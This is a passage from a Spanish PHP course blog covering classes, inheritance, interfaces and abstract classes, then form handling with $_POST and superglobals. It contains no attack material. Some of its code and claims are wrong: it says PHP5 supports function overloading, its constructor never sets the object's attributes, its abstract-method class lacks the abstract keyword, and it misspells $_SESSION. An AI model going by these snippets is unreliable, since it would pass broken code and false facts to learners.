Existe un conjunto de funciones especiales en la definicion de una clase. Una de ellas es el constructor de la clase. Cada vez que creemos/instanciemos un objeto se llama al constructor de la clase que es el encargado de inicializar los atributos del objeto. En versiones anteriores de PHP la función constructora se llamaba igual que el nombre de la clase. A partir de PHP5 se utiliza el nombre __construct(). Si en una clase no se encuentra una función con este nombre PHP buscará una función con el mismo nombre que la clase.

class nombreClase
{
   private $atributo_privado;
   protected $atributo_protegido;
   public $atributo_publico;

   function __construct($param1, $param2, $param3)
   {
      $atributo_privado=$param1;
      $atributo_protegido=$param2;
      $atributo_publico=$param3;
      echo 'Constructor de la clase';
   }

   private function operacion_1()
   {
   }

   public function operacion_2()
   {
   }

}

Cabe destacar que PHP5 admite la sobrecarga de funciones, lo que significa que podemos realizar dos funciones con el mismo nombre y diferentes tipos o cantidad de parámetros.

Destructor:

Otra de las funciones especiales de clase es el destructor. Su tarea es lo contrario al constructor. Esta función se ejecuta cada vez que se destruye un objeto, lo que ocurre cuando se eliminan todas las referencias al objeto. El nombre del destructor es __destruct(). Los destructores no aceptan parámetros.

class nombreClase
{
   private $atributo_privado;
   protected $atributo_protegido;
   public $atributo_publico;

   function __construct($param1, $param2, $param3)
   {
      $atributo_privado=$param1;
      $atributo_protegido=$param2;
      $atributo_publico=$param3;
      echo 'Constructor de la clase';
   }

   function __destruct()
   {
      echo 'Destructor de la clase';
   }

   private function operacion_1()
   {
   }

   public function operacion_2()
   {
   }

}

Atributos y funciones de clase:

Podemos utilizar los atributos y las funciones de clase dentro de nuestra clase. Para referirnos a ella contamos con la pseudo-variable $this que hace referencia a la propia clase.

Constantes de clase:

En PHP5 podemos crear constantes en una clase pudiendo acceder a ella desde fuera de la clase sin la necesidad de instanciar un objeto. Las constantes se crean con la palabra reservada const, y accedemos a ella con la siguiente sintaxis, nombreClase::nombreConstante.

class Matematicas
{
   const pi = 3.1416;
   const e = 2.7182;
}

echo Matematicas::pi.' '.Matematicas::e;

Métodos estáticos

En PHP5 podemos crear métodos estáticos y acceder a ellos sin la necesidad de instanciar un objeto. Las métodos estáticos se declaran con la palabra reservada static y se accede a ellos mediante la sintaxis, nombreClase::nombreFuncion. Cabe destacar que no podemos acceder a las constantes ni a los métodos estáticos con la pseudo-variable $this. Para poder acceder a ellas dentro de una clase utilizamos la pseudo-variable self::nombreConstante o self::nombreFuncion(). Por último decir que dentro del cuerpo de una función estática solo podemos utilizar variables estáticas, no variables de clase.

class Matematicas
{
   public static function cuadrado($numero)
   {
      return $numero*$numero;
    }
}

echo Matematicas::cuadrado(5);

Instancias:

La clase por sí sola no realiza nada, no es más que una plantilla con la que podemos crear/instanciar objetos. En PHP los objetos se instancian con el operador new seguido del nombre de la clase. A continuación entre paréntesis todos los parámetros que sean necesarios suministrar al constructor.

Podemos acceder a las variables y a las funciones publicas mediante el operador ->.

$variable_objeto = new nombreClase($param1, $param2, $param3);

$variable_objeto->operacion2();

Herencia

La herencia nos permite crear una relacion jerárquica entre las clases. La clase hija o subclase se comporta de la siguiente manera:

-Hereda automaticamente todas las variables y funciones miembros de la clase padre que tengan un modificador de acceso public y protected.

-Puede definir nuevas variables y funciones, así como reescribir variables y funciones de la clase padre siempre que no se hayan declarado como finales.

-Puede acceder a las variables y funciones de la clase padre mediante la pseudo-variable parent::.

En PHP podemos crear una subclase de una superclase utilizando la palabra reservada extends de la siguiente manera:

class SubClase extends SuperClase
{
}

En el interior de las llaves definiremos las nuevas variables y funciones de la clase hija, además podemos reemplazar las funciones definidas en la clase padre siempre que no se hayan deifnidido con el modificador final. Para ello solo tenemos que definir una funcion que se llame igual y contenga el mismo número de parámetros que en la clase padre.

Si la clase padre se ha declarado como final no se podrá heredar una subclase.

Interfaces

PHP no permite la herencia múltiple, es decir, poder crear una subclase a partir de varias superclases. Pero se puede simular su comportamiento si utilizamos las interfaces.

Una interfaz no es más que la declaración de un conjunto de constantes y funciones que deben ser definidas en la clase que implemente dicha interfaz. Una interfaz en PHP se crea utilizando la palabra reservada interface de la siguiente manera:

interface Listar
{
   function listar_nombre();
}

En este ejemplo hemos creado una interfaz llamada Listar que define una funcion listar_nombre(). La clase que implemente esta interfaz debera implementar todas las funciones de la interfaz. Una clase puede implementar una interfaz mediante la palabra reservada implements de la siguiente forma:

class Ejemplo implements Listar
{
   function listar_nombre()
   {
      echo 'Francisco';
   }
}

De esta forma podemos simular la herencia múltiple ya que podemos implementar todas las interfaces que queramos si las separamos por comas, con el inconveniente que debemos implementar todas las funciones declaradas en la interfaz.

Clases abstractas

PHP5 también incluye el concepto de clases abstractas típicas de otros lenguajes orientados a objetos.  Las clases abstractas se definen en PHP5 utilizando la palabra reservada abstract de la siguiente manera:

abstract class nombreClase
{
}

Una clase abstracta no puede ser instanciada, sirve como clase base para que otras hereden de ella. Una clase abstracta define una serie de funciones abstractas que no tienen implementación. Las clases que hereden de una clase abstacta tendrán que implementar esas funciones, sino automaticamente se convierten en clases abstractas.

Imaginaros la siguiente situación. Tenemos una clase Persona que representa una persona, con una serie de atributos como nombre, apellidos y dni. Y queremos construir clases que representen diferentes tipos de personas, como, Empleado, Director, Funcionario y  Conserje. Necesitamos un método que calcule el salario de cada tipo de persona. Para ello podemos definir una clase abstracta Persona con una serie de variables y una función asbtracta llamada calcular_salario(). Todas las demás clases heredarán de esta clase base y tendrán que sobreescribir el método calcular_salario() de la clase padre.

class Persona
{
   protected $nombre;
   protected $apellidos;

   abstract function calcular_salario();
}

class Director extends Persona
{

   function __construct($nombre, $apellidos)
   {
      $this->nombre=$nombre;
      $this->apellidos=$apellidos;
   }

   function calcular_salario()
   {
      return 10000;
   }

}

$director = new Director('Francisco','Belmonte Ruiz');

//Imprime 10000
echo $director->calcular_salario();

RESUMEN

Hasta ahora hemos visto una serie de conceptos orientados a objetos en PHP :  crear clases,  instanciar objetos, utilizar modificadores de acceso, crear constantes y funciones estáticas, crear clases abstractas e interfaces, aprender a heredar a partir de otras clases, acceder a las variables y funciones de los objetos, acceder a las variables y funciones de la clase padre, etc…

PHP cuenta con muchos más conceptos que los vistos aquí y no estaría mal que mirarais  la documentación oficial para ver algunos conceptos que no hemos visto en este curso, como el uso de métodos mágicos. Una vez visto los principales conceptos vamos a dedicar la segunda parte de este capítulo a crear un ejemplo básico de aplicación que utilize objetos, como un gestor de un videoclub.

Hasta la próxima.

Curso PHP. Capítulo 7: Formularios

Miércoles, 9 de junio de 2010 2 comentarios

A lo largo del curso ya hemos visto muchas características básicas de PHP pero la verdadera potencia del lenguaje reside en la comunicación con el usuario que utilize nuestras aplicaciones, para ello PHP puede acceder a las variables de los formularios o a través de la barra de dirección del navegador.

PHP cuenta con dos arrays super-globales $_POST y $_GET para acceder a las variables de formulario enviadas a través del método POST y GET respectivamente. En versiones anteriores de PHP se podía acceder a través de los arrays $HTTP_POST_VARS y $HTTP_GET_VARS, y aunque su uso ya sea obsoleto podemos utilizarlos igualente si activamos la directiva register_long_arrays. PHP también cuenta con un estilo corto para acceder a las variables de formulario utilizando directamente el nombre del atributo name de cada campo. Esta forma de acceder a los datos no es recomendable para la seguridad de nuestras aplicaciones, ya que un usuario malintencionado podría pasar otras variables que utilizaramos en nuestros códigos e interferir en la lógica programada. En la configuración de PHP ya viene desactivado su uso, pero para asegurarnos desactivaremos la directiva register_globals.

Formularios  XHTML

Antes de empezar a utilizar PHP para manipular las variables de formularios vamos a hacer un repaso de las etiquetas XHTML para el marcado de formularios y los distintos campos. No va a ser una guía en profundidad, más bien un repaso, ya que presupongo que si estais aprendiendo PHP es que ya teneis algunos conocimientos intermedios de HTML/XHTML.

La etiqueta <form> cuenta con una serie de atributos a destacar:

method:  Este atributo puede ser POST o GET e indica el método con el que se pasaran los datos al servidor. Si utilizamos el método GET los datos se pasaran por la URL y serán visibles por todos los usuarios. Si utilizamos el método POST los datos van incluidos en el cuerpo de la petición HTTP al servidor.

-action: Este atributo indica el archivo PHP que procesará la información. Puede ser una ruta relativa o absoluta.

Dentro de la etiqueta <form> podemos encerrar distintos campos de texto, de password, checkbuttons, radiobuttons, listas, etc. De estos campos cabe destacar el atributo name ya que accederemos a los datos de cada campo en el servidor utilizando el valor de ese atributo.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Documento sin t&#237;tulo</title>
</head>
<body>

<form method="post" action="contacto.php">
  <label for="nombre">Nombre:</label>
  <input type="text" name="nombre" id="nombre" />
  <br />
  <label for="asunto">Asunto:</label>
  <input type="text" name="asunto" id="asunto" />
  <br />
  <label for="cuerpo">Cuerpo:</label>
  <br />
  <textarea name="cuerpo" id="cuerpo" rows="10" />
</form>

</body>
</html>

Un ejemplo de un formulario muy básico sin estilos CSS y no muy bien diseñado pero que nos sirve como ejemplo para explicar como acceder a los datos que el usuairo introduce. En nuestro ejemplo tenemos tres campos, nombre, asunto y cuerpo. Además enviamos los datos a través del método POST. Vamos a ver como acceder a estos datos a través de PHP.

<?php
$nombre = $_POST['nombre'];
$asunto = $_POST['asunto'];
$cuerpo = $_POST['cuerpo'];
?>

De esta forma accedemos a los datos del formulario a través del array super-global $_POST. Hemos declarado tres variables y hemos introducido el valor de cada campo en ellas, ahora podemos manipular esas variables como queramos. Si hubieramos enviado el formulario a través del método GET no cambiaría mucho la cosa, solo hay que tener en cuenta que no podemos enviar todo lo que queramos por GET porque tiene una limitación por caracteres y además es visible en la barra de direcciones.

Variables super-globales

PHP cuenta con una serie de arrays super-globales:

$_GET: Almacena las variables que se pasan desde un formulario mediante el método GET.
$_POST: Almacena las variables pasadas por POST.
$_COOKIE: Guarda los valores que están almacenados en cookies. Ya veremos en capítulos sucesivos cómo utilizarlo.
$_SESSlON: Guarda las variables que se pasan entre sesiones. Ya veremos en capítulos sucesivos cómo utilizarlo.
$_SERVER: Contiene numerosos valores relativos al servidor.
$_FILES : Los archivos que enviemos a través de un formulario serán recogidos en este array. Ya veremos en capítulos sucesivos cómo utilizarlo.

RESUMEN

En este capítulo hemos aprendido como acceder a los datos que introducen los usuarios a través de fomularios o la URL. No hemos entrado en detalles en temas sobre seguridad, pero hay que tener claro que nunca podemos confiar en los datos de entrada de los usuarios y tienen que pasar por un control exhaustivo para garantizar la integridad de la aplicación. Podeis ver una serie de artículos en este mismo blog dedicado a temas de vulnerabilidades web.

En el próximo capítulo entraremos en el mundo de la programación orientada a objetos en PHP.

En un principio puede parecer que cada curso no está muy detallado, en realidad no intenta ser un curso con muchos detalles sino más bien una introducción rápida al mundo de PHP. Esto es así porque posteriormente quiero entrar en temas más detallados y realizar algunos talleres de ejemplos de aplicaciones del mundo real.

Hasta la próxima.

Categories: PHP Tags: